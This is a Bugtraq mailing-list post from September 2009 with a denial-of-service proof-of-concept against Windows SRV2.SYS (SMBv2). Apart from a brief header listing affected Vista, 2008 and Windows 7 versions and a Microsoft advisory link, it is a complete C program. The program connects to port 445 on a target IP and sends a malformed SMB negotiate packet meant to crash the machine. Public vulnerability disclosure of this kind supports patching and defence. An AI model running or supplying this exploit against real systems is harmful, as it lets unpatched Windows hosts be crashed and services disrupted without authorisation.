bugtraq - SMB SRV2.SYS Denial of Service PoC

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Date: 9 Sep 2009 04:18:21 -0000
From: igottabug@...etthis.com
To: bugtraq@...urityfocus.com
Subject: SMB SRV2.SYS Denial of Service PoC

/*
 *
 * SMB SRV2.SYS Denial of Service PoC
 * Release Date: Sep 8, 2009
 * Severity: Medium/High
 * Systems Affected: Windows Vista SP1+SP2, Windows 2008 SP2, Windows 7 Beta + RC
 * Discovered by: Laurent Gaffié
 * 
 * Description: 
 * 		SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. 
 * 		The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used
 *		to identify the SMB dialect that will be used for futher communication.
 *
 * KB: http://www.microsoft.com/technet/security/advisory/975497.mspx
*/

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "WS2_32.lib")

char buff[] =
		"\x00\x00\x00\x90" // Begin SMB header: Session message
		"\xff\x53\x4d\x42" // Server Component: SMB
		"\x72\x00\x00\x00" // Negociate Protocol
		"\x00\x18\x53\xc8" // Operation 0x18 & sub 0xc853
		"\x00\x26" // Process ID High: --> :) normal value should be "\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
		"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
		"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
		"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
		"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
		"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
		"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
		"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
		"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
		"\x30\x30\x32\x00";
		
int main(int argc, char *argv[]) {
	
	
	if (argc < 2) {
		printf("Syntax: %s [ip address]\r\n", argv[0]);
		return -1;
	}
	
	WSADATA WSAdata;
	WSAStartup(MAKEWORD(2, 2), &WSAdata);
	
	SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
	char *host = argv[1];
	
	// fill in sockaddr and resolve the host
	SOCKADDR_IN ssin; 
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family = AF_INET;
	ssin.sin_port = htons((unsigned short)445);
	ssin.sin_addr.s_addr = inet_addr(host);
	
	printf("Connecting to %s:445... ", host);
	if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) {
		printf("ERROR!\r\n");
		return 0;
	}
	printf("OK\r\n");
	
	printf("Sending malformed packet... ");
	if (send(sock, buff, sizeof(buff), 0) <= 0) {
		printf("ERROR!\r\n");
		return 0;
	}
	printf("OK\r\n");
	
	printf("Successfully sent packet!\r\nTarget should be crashed...\r\n");
	
	// Close the socket
	closesocket(sock);
	WSACleanup();
	
	return 1;
}